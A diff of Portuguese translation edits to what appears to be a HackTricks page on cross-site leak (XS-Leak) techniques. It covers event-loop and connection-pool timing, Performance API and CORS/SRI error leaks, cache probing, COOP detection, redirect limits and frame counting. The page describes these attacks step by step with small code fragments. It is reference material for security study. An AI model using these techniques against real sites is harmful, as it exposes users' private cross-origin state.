 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
+- **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos se tornar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
 - **Code Example**:
 
 Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende do acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
@@ -258,12 +258,12 @@ Uma vantagem significativa da técnica de medir o tempo de execução bloqueando
 connection-pool-example.md
 {{#endref}}
 
-Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets simultâneos. Atacantes podem explorar essa limitação através dos seguintes passos:
+Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets concorrentes. Os atacantes podem explorar essa limitação através dos seguintes passos:
 
 1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.
-2. Ocupando 255 sockets por um longo período iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
+2. Ocupando 255 sockets por um longo período, iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
 3. Usar o 256º socket para enviar uma requisição para a página alvo.
-4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket fique disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket ficar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
+4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket se torne disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket se tornar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser completada.
 
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -272,7 +272,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connec
 - **Inclusion Methods**: JavaScript Requests
 - **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**:
-- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições simultâneas para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
+- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
 
 ## Performance API Techniques
 
@@ -290,7 +290,7 @@ Além das medições de tempo, a Performance API pode ser aproveitada para insig
 - **Summary:** Uma requisição que resulta em erros não criará uma entrada de tempo de recurso.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
-É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** não **criam uma entrada de desempenho**.
+É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** **não criam uma entrada de desempenho**.
 
 ### Style Reload Error
 
@@ -310,7 +310,7 @@ Na técnica anterior, também foram identificados dois casos onde bugs do navega
 - **Summary:** Requisições que resultam em um erro não podem ser mescladas.
 - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
+A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
 ### Empty Page Leak
 
@@ -327,7 +327,7 @@ Um atacante pode detectar se uma requisição resultou em um corpo de resposta H
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Page Content
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Usando o XSS Auditor em Security Assertions, atacantes podem detectar elementos específicos de páginas da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
+- **Summary:** Usando o XSS Auditor em Security Assertions, os atacantes podem detectar elementos específicos da página da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
 Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
@@ -351,7 +351,7 @@ O mesmo acontece se você usar uma **tag embed**.
 - **Summary:** Downloads não criam entradas de tempo de recurso na Performance API.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Similar ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
+Similar ao XS-Leak descrito, um **recurso que é baixado** devido ao cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
 
 ### Redirect Start Leak
 
@@ -371,7 +371,7 @@ Encontramos uma instância de XS-Leak que abusa do comportamento de alguns naveg
 - **Summary:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
 - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
-No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinguida** de requisições que não resultam em um redirecionamento.
+No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinta** de requisições que não resultam em um redirecionamento.
 
 ### CORP Leak
 
@@ -394,7 +394,7 @@ Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica
 Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e **armazenar recursos** para criar aplicações web offline.\
 Se um **recurso armazenado** por um **service worker** for acessado via **iframe**, o recurso será **carregado do cache do service worker**.\
 Para detectar se o recurso foi **carregado do cache do service worker**, a **Performance API** pode ser usada.\
-Isso também poderia ser feito com um ataque de Timing (verifique o artigo para mais informações).
+Isso também pode ser feito com um ataque de Timing (verifique o artigo para mais informações).
 
 ### Cache
 
@@ -470,27 +470,27 @@ err.message +
 audioElement.onerror = errHandler
 }
 ```
-A propriedade message da interface `MediaError` identifica de forma única recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.
+A propriedade message da interface `MediaError` identifica de forma única os recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.
 
 ### Erro CORS
 
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Cabeçalho
 - **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
-- **Resumo:** Em Aserções de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
+- **Resumo:** Em Security Assertions (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site-alvo que emite um redirecionamento com base no estado do usuário e o navegador nega a solicitação, a **URL completa do alvo do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
+Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador nega a solicitação, a **URL completa do alvo do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
 
 ### Erro SRI
 
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Cabeçalho
 - **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
-- **Resumo:** Em Aserções de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
+- **Resumo:** Em Security Assertions (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-Um atacante pode explorar **mensagens de erro verbosas** para deduzir o tamanho das respostas de origem cruzada. Isso é possível devido ao mecanismo de Integridade de Sub-recurso (SRI), que usa o atributo de integridade para validar que os recursos buscados, frequentemente de CDNs, não foram adulterados. Para que o SRI funcione em recursos de origem cruzada, estes devem ser **habilitados para CORS**; caso contrário, não estão sujeitos a verificações de integridade. Em Aserções de Segurança (SA), assim como no erro CORS XS-Leak, uma mensagem de erro pode ser capturada após uma solicitação fetch com um atributo de integridade falhar. Os atacantes podem deliberadamente **disparar esse erro** atribuindo um **valor de hash falso** ao atributo de integridade de qualquer solicitação. Em SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Essa vazamento de informação permite que um atacante discernir variações no tamanho da resposta, abrindo caminho para ataques sofisticados de XS-Leak.
+Um atacante pode explorar **mensagens de erro verbosas** para deduzir o tamanho das respostas de origem cruzada. Isso é possível devido ao mecanismo de Subresource Integrity (SRI), que usa o atributo de integridade para validar que os recursos buscados, frequentemente de CDNs, não foram adulterados. Para que o SRI funcione em recursos de origem cruzada, estes devem ser **habilitados para CORS**; caso contrário, não estão sujeitos a verificações de integridade. Em Security Assertions (SA), assim como no erro CORS XS-Leak, uma mensagem de erro pode ser capturada após uma solicitação fetch com um atributo de integridade falhar. Os atacantes podem deliberadamente **disparar esse erro** atribuindo um **valor de hash falso** ao atributo de integridade de qualquer solicitação. Em SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Essa vazamento de informação permite que um atacante discernir variações no tamanho da resposta, abrindo caminho para ataques sofisticados de XS-Leak.
 
 ### Violação/Detecção CSP
 
@@ -513,7 +513,7 @@ Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas vo
 
 Os navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página alvo **solicitou um arquivo específico**.
 
-Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **fazer uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso **não disparou nenhum erro**, é porque ele foi **em cache**.
+Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **fazer uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso **não disparou nenhum erro**, é porque ele estava **em cache**.
 
 ### Diretiva CSP
 
@@ -530,7 +530,7 @@ Um recurso novo no Google Chrome (GC) permite que páginas da web **proponham um
 - **Métodos de Inclusão**: Fetch API
 - **Diferença Detectável**: Cabeçalho
 - **Mais informações**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
-- **Resumo:** Recursos protegidos com a Política de Recursos de Origem Cruzada (CORP) gerarão um erro quando buscados de uma origem não permitida.
+- **Resumo:** Recursos protegidos com Cross-Origin Resource Policy (CORP) gerarão um erro quando buscados de uma origem não permitida.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
 
 O cabeçalho CORP é um recurso de segurança da plataforma web relativamente novo que, quando definido, **bloqueia solicitações de origem cruzada sem CORS para o recurso dado**. A presença do cabeçalho pode ser detectada, pois um recurso protegido com CORP **gerará um erro quando buscado**.
@@ -553,7 +553,7 @@ Verifique o link para mais informações sobre o ataque.
 - **Resumo**: Se o cabeçalho Origin for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está no cache.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em **modo CORS**. Se um **erro** **não for** disparado, significa que foi **recuperado corretamente da web**, se um erro **for disparado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
+Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não** for disparado, significa que foi **recuperado corretamente da web**, se um erro **for disparado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
 Observe que se a origem não for refletida, mas um curinga for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.
 
 ## Técnica de Atributos Legíveis
@@ -573,10 +573,10 @@ Submetendo uma solicitação usando a Fetch API com `redirect: "manual"` e outro
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Cabeçalho
 - **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
-- **Resumo:** Páginas protegidas pela Política de Abertura de Origem Cruzada (COOP) impedem o acesso de interações de origem cruzada.
+- **Resumo:** Páginas protegidas pela Cross-Origin Opener Policy (COOP) impedem o acesso de interações de origem cruzada.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertura de Origem Cruzada (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicações web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários onde o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: é **indefinida** quando o COOP está ativo e **definida** em sua ausência.
+Um atacante é capaz de deduzir a presença do cabeçalho Cross-Origin Opener Policy (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicações web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários onde o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: é **indefinida** quando o COOP está ativo e **definida** em sua ausência.
 
 ### Comprimento Máximo da URL - Lado do Servidor
 
@@ -589,7 +589,7 @@ Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertu
 Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.
 
 Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) para que, com o **tamanho da resposta aumentada** da **resposta correta**, um **erro** seja acionado. Nesse caso, lembre-se de que, se você disparar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
-Um exemplo de **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste relatório: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
+Um exemplo da **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste relatório: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.
 
@@ -603,11 +603,11 @@ Um exemplo de **cookie bomb + XS-Search** pode ser encontrado na solução prete
 
 De acordo com [a documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
 
-> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação interprocessual.
+> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.
 
-Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazê-la redirecionar com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
+Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazer com que ela redirecione com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
 
-A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi \*\*\*\* atingido e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
+A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi atingido e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
 
 Todas as informações extras necessárias para atingir os **2MB** podem ser adicionadas via um **hash** na URL inicial para que sejam **usadas no redirecionamento**.
 
@@ -623,7 +623,7 @@ url-max-length-client-side.md
 - **Resumo:** Use o limite de redirecionamento do navegador para determinar a ocorrência de redirecionamentos de URL.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-Se o **número máximo** de **redirecionamentos** a seguir de um navegador for **20**, um atacante poderia tentar carregar sua página com **19 redirecionamentos** e finalmente **enviar a vítima** para a página testada. Se um **erro** for acionado, então a página estava tentando **redirecionar a vítima**.
+Se o **número máximo** de **redirecionamentos** a seguir de um navegador for **20**, um atacante poderia tentar carregar sua página com **19 redirecionamentos** e finalmente **enviar a vítima** para a página testada. Se um **erro** for disparado, então a página estava tentando **redirecionar a vítima**.
 
 ### Comprimento do Histórico
 
@@ -669,10 +669,10 @@ console.log(await debug(win, "https://example.com/?a=b"))
 - **Resumo:** Avalie a quantidade de elementos iframe inspecionando a propriedade `window.length`.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
 
-Contar o **número de frames em uma web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário naquela página**.\
-Além disso, se a página sempre tiver o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
+Contar o **número de frames em uma web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário sobre essa página**.\
+Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
 
-Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
+Um exemplo dessa técnica é que no Chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
 
 ### Elementos HTML
 
@@ -682,14 +682,14 @@ Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** co
 - **Resumo:** Leia o valor vazado para distinguir entre 2 estados possíveis
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base em informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.
+O vazamento de informações através de elementos HTML é uma preocupação na segurança da web, particularmente quando arquivos de mídia dinâmicos são gerados com base nas informações do usuário, ou quando marcas d'água são adicionadas, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre estados possíveis analisando as informações expostas por certos elementos HTML.
 
 ### Informações Expostas por Elementos HTML
 
-- **HTMLMediaElement**: Este elemento revela a `duração` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: Expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **HTMLMediaElement**: Este elemento revela a `duration` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
+- **HTMLVideoElement**: Ele expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Esta função fornece detalhes sobre a qualidade da reprodução de vídeo, incluindo `totalVideoFrames`, que pode indicar a quantidade de dados de vídeo processados. [Leia mais sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: Este elemento vaza a `altura` e a `largura` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLImageElement**: Este elemento vaza a `height` e a `width` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
 ### Propriedade CSS
 
@@ -699,7 +699,7 @@ O vazamento de informações através de elementos HTML é uma preocupação na
 - **Resumo:** Identifique variações no estilo do site que correlacionam com o estado ou status do usuário.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
 
-Aplicações web podem alterar o **estilo do site dependendo do status do usuário**. Arquivos CSS de origem cruzada podem ser incorporados na página do atacante com o **elemento de link HTML**, e as **regras** serão **aplicadas** à página do atacante. Se uma página altera dinamicamente essas regras, um atacante pode **detectar** essas **diferenças** dependendo do estado do usuário.\
+Aplicações web podem alterar o **estilo do site dependendo do status do usuário**. Arquivos CSS de origem cruzada podem ser incorporados na página do atacante com o **elemento HTML link**, e as **regras** serão **aplicadas** à página do atacante. Se uma página altera dinamicamente essas regras, um atacante pode **detectar** essas **diferenças** dependendo do estado do usuário.\
 Como uma técnica de vazamento, o atacante pode usar o método `window.getComputedStyle` para **ler propriedades CSS** de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.
 
 ### Histórico CSS
@@ -725,7 +725,7 @@ Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de
 - `getComputedStyle()`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
 - `mix-blend-mode`: [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
-### Vazamento X-Frame do ContentDocument
+### Vazamento de X-Frame do ContentDocument
 
 - **Métodos de Inclusão**: Frames
 - **Diferença Detectável**: Cabeçalhos
@@ -752,7 +752,7 @@ O cabeçalho `Content-Disposition`, especificamente `Content-Disposition: attach
 - Quando uma página aciona um download de arquivo usando o cabeçalho `Content-Disposition: attachment`, isso não causa um evento de navegação.
